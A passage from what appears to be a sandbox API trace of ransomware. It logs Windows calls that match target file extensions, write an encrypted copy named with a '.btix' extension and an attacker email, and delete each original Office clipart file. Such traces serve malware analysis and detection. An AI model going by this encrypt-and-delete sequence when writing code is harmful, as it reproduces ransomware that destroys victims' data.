Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0147.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0147.856] lstrlenW (lpString=".doc") returned 4 [0147.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.856] lstrlenW (lpString=".docx") returned 5 [0147.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.856] lstrlenW (lpString=".pdf") returned 4 [0147.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.856] lstrlenW (lpString=".xls") returned 4 [0147.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.856] lstrlenW (lpString=".xlsx") returned 5 [0147.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.856] lstrlenW (lpString=".ppt") returned 4 [0147.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0147.856] lstrlenW (lpString=".zip") returned 4 [0147.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.856] lstrlenW (lpString=".rar") returned 4 [0147.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.856] lstrlenW (lpString=".bz2") returned 4 [0147.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.856] lstrlenW (lpString=".7z") returned 3 [0147.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0147.856] lstrlenW (lpString=".dbf") returned 4 [0147.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0147.856] lstrlenW (lpString=".1cd") returned 4 [0147.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0147.857] lstrlenW (lpString=".jpg") returned 4 [0147.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.857] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.857] lstrlenW (lpString="HH00602_.WMF") returned 12 [0147.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.857] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=1400) returned 1 [0147.857] CloseHandle (hObject=0x374) returned 1 [0147.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220 [0147.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.857] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.857] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0147.858] GetLastError () returned 0x0 [0147.858] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x578, lpOverlapped=0x0) returned 1 [0147.859] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x580, lpOverlapped=0x0) returned 1 [0147.859] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0147.859] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0147.860] SetEndOfFile (hFile=0x378) returned 1 [0147.860] CloseHandle (hObject=0x378) returned 1 [0147.860] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.860] SetEndOfFile (hFile=0x374) returned 1 [0147.860] CloseHandle (hObject=0x374) returned 1 [0147.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0147.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0147.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0147.861] lstrlenW (lpString=".doc") returned 4 [0147.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString=".docx") returned 5 [0147.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.861] lstrlenW (lpString=".pdf") returned 4 [0147.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString=".xls") returned 4 [0147.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.861] lstrlenW (lpString=".xlsx") returned 5 [0147.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.861] lstrlenW (lpString=".ppt") returned 4 [0147.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0147.861] lstrlenW (lpString=".zip") returned 4 [0147.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.861] lstrlenW (lpString=".rar") returned 4 [0147.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString=".bz2") returned 4 [0147.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString=".7z") returned 3 [0147.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0147.862] lstrlenW (lpString=".dbf") returned 4 [0147.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0147.862] lstrlenW (lpString=".1cd") returned 4 [0147.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0147.862] lstrlenW (lpString=".jpg") returned 4 [0147.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0147.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0147.862] lstrlenW (lpString=".doc") returned 4 [0147.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString=".docx") returned 5 [0147.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.862] lstrlenW (lpString=".pdf") returned 4 [0147.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString=".xls") returned 4 [0147.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.862] lstrlenW (lpString=".xlsx") returned 5 [0147.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.862] lstrlenW (lpString=".ppt") returned 4 [0147.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0147.862] lstrlenW (lpString=".zip") returned 4 [0147.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.862] lstrlenW (lpString=".rar") returned 4 [0147.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString=".bz2") returned 4 [0147.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString=".7z") returned 3 [0147.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0147.863] lstrlenW (lpString=".dbf") returned 4 [0147.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0147.863] lstrlenW (lpString=".1cd") returned 4 [0147.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0147.863] lstrlenW (lpString=".jpg") returned 4 [0147.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.863] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.863] lstrlenW (lpString="HH00612_.WMF") returned 12 [0147.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.863] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=12632) returned 1 [0147.863] CloseHandle (hObject=0x374) returned 1 [0147.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220 [0147.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.863] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.864] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0147.864] GetLastError () returned 0x0 [0147.864] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3158, lpOverlapped=0x0) returned 1 [0147.865] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3160, lpOverlapped=0x0) returned 1 [0148.049] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.049] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.049] SetEndOfFile (hFile=0x378) returned 1 [0148.049] CloseHandle (hObject=0x378) returned 1 [0148.049] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.049] SetEndOfFile (hFile=0x374) returned 1 [0148.050] CloseHandle (hObject=0x374) returned 1 [0148.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0148.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0148.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0148.051] lstrlenW (lpString=".doc") returned 4 [0148.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.051] lstrlenW (lpString=".docx") returned 5 [0148.051] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.051] lstrlenW (lpString=".pdf") returned 4 [0148.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.051] lstrlenW (lpString=".xls") returned 4 [0148.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.051] lstrlenW (lpString=".xlsx") returned 5 [0148.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.051] lstrlenW (lpString=".ppt") returned 4 [0148.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0148.051] lstrlenW (lpString=".zip") returned 4 [0148.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.051] lstrlenW (lpString=".rar") returned 4 [0148.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.051] lstrlenW (lpString=".bz2") returned 4 [0148.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.051] lstrlenW (lpString=".7z") returned 3 [0148.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0148.052] lstrlenW (lpString=".dbf") returned 4 [0148.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0148.052] lstrlenW (lpString=".1cd") returned 4 [0148.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0148.052] lstrlenW (lpString=".jpg") returned 4 [0148.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0148.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0148.052] lstrlenW (lpString=".doc") returned 4 [0148.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.052] lstrlenW (lpString=".docx") returned 5 [0148.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.052] lstrlenW (lpString=".pdf") returned 4 [0148.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.052] lstrlenW (lpString=".xls") returned 4 [0148.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.052] lstrlenW (lpString=".xlsx") returned 5 [0148.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.052] lstrlenW (lpString=".ppt") returned 4 [0148.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0148.052] lstrlenW (lpString=".zip") returned 4 [0148.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.053] lstrlenW (lpString=".rar") returned 4 [0148.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.053] lstrlenW (lpString=".bz2") returned 4 [0148.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.053] lstrlenW (lpString=".7z") returned 3 [0148.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0148.053] lstrlenW (lpString=".dbf") returned 4 [0148.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0148.053] lstrlenW (lpString=".1cd") returned 4 [0148.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0148.053] lstrlenW (lpString=".jpg") returned 4 [0148.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.053] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.053] lstrlenW (lpString="HH01291_.WMF") returned 12 [0148.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.053] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=15806) returned 1 [0148.053] CloseHandle (hObject=0x374) returned 1 [0148.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0148.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.054] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.054] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.054] GetLastError () returned 0x0 [0148.054] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0148.055] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0148.056] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.056] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.056] SetEndOfFile (hFile=0x378) returned 1 [0148.057] CloseHandle (hObject=0x378) returned 1 [0148.057] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.057] SetEndOfFile (hFile=0x374) returned 1 [0148.057] CloseHandle (hObject=0x374) returned 1 [0148.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0148.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0148.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0148.058] lstrlenW (lpString=".doc") returned 4 [0148.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.058] lstrlenW (lpString=".docx") returned 5 [0148.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.058] lstrlenW (lpString=".pdf") returned 4 [0148.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.058] lstrlenW (lpString=".xls") returned 4 [0148.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.058] lstrlenW (lpString=".xlsx") returned 5 [0148.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.058] lstrlenW (lpString=".ppt") returned 4 [0148.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0148.058] lstrlenW (lpString=".zip") returned 4 [0148.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.058] lstrlenW (lpString=".rar") returned 4 [0148.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.058] lstrlenW (lpString=".bz2") returned 4 [0148.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.059] lstrlenW (lpString=".7z") returned 3 [0148.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0148.059] lstrlenW (lpString=".dbf") returned 4 [0148.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0148.059] lstrlenW (lpString=".1cd") returned 4 [0148.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0148.059] lstrlenW (lpString=".jpg") returned 4 [0148.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0148.059] lstrlenW (lpString=".doc") returned 4 [0148.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.059] lstrlenW (lpString=".docx") returned 5 [0148.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.059] lstrlenW (lpString=".pdf") returned 4 [0148.059] lstrcmpiW (lpString1=".pdf", 